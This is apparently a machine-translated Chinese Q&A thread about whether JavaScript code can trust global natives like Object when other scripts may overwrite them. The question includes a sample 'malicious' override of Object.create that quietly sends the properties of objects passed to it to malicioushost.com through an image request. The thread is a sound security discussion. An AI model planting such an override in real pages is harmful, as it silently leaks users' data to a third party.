在JavaScript中依赖全局原生对象,尤其是对象对象安全吗?
首先,我知道,依赖Array
构造函数通常是不受欢迎的,因为它可以被其他代码重新赋值,这不是严格模式,而应该使用数组文字[]
,在这种情况下,他总是依赖本机的实数组(还有一些其他含义,但这是主要的)
但是如何处理Object
呢?有一些方法(create
、freeze
等)。只能通过Object
标识符访问。
我查看了AngularJS和SAW的源代码,那里的作者依赖于这些对象(Object
、Function
)不会被重新分配的假设,所以我得出的结论是没有更好的方法。但是我想听听更有经验的人的意见。
所以问题是:如何保护自己打算与其他javascript代码并列使用的代码不受重新分配的全局本机对象的影响?
更新
我的问题是关于安全问题。所以它是关于开发人员不能假设的情况:
- 如果重新分配对象,则其他对象将无法正常工作,因此不用担心
- 站点管理员将正确测试他在其站点上包含的内容
- 如果对象有某个方法,并且返回预期的结果,则一切正常
请以此为例:
// the malicious code
var oldObj = Object,
Object = {
create: function(proto) {
var secretProps = 'http://malicioushost.com/?'
for (var prop in proto) {
secretProps += encodeURIComponent(prop) + '=' + encodeURIComponent(proto[prop]) + '&'
}
var secretImg = document.createElement('img')
secretImg.src = secretProps
document.body.appendChild(secretImg)
return oldObj.create.call(oldObj, proto)
}
}
// the non-malign code
var foo = Object.create({prop1: 'foo', prop2: 'bar'})
此处Object.Create的行为与原始对象完全相同
衷心感谢。
解决方案
首先,我知道依赖Array构造函数通常不受欢迎,因为它可以被其他代码重新赋值
没有。Array
构造函数不受欢迎的原因是它比仅仅说[]
不必要地冗长,而且接口也不一致,令人困惑。(具体地说,如果x
是一个数字,则new Array(x).length
为x
,如果x
是数字,则1
为.ugh.)
有些库试图获取它们自己的某些全局变量的副本,以便在主页恰好定义了它自己的名为Object
或undefined
的变量时,它们仍然可以工作,但无论如何它都不是无懈可击的。
如何保护自己打算与其他javascript代码并行使用的代码不受重新分配的全局本机对象的影响?
这不是一个可解决的问题。JavaScript没有提供足够的工具来建立有效的安全边界。几乎所有对象、方法和属性都可能遭到破坏。
(不管怎样,在语言层面.通过浏览器,您可以使用跨域框架/沙箱postMessage
等在不同的上下文中保存代码。但是,如果用户与之交互的界面元素发生在受损的顶层页面上,仍然不太可能有太大帮助。)
相关文章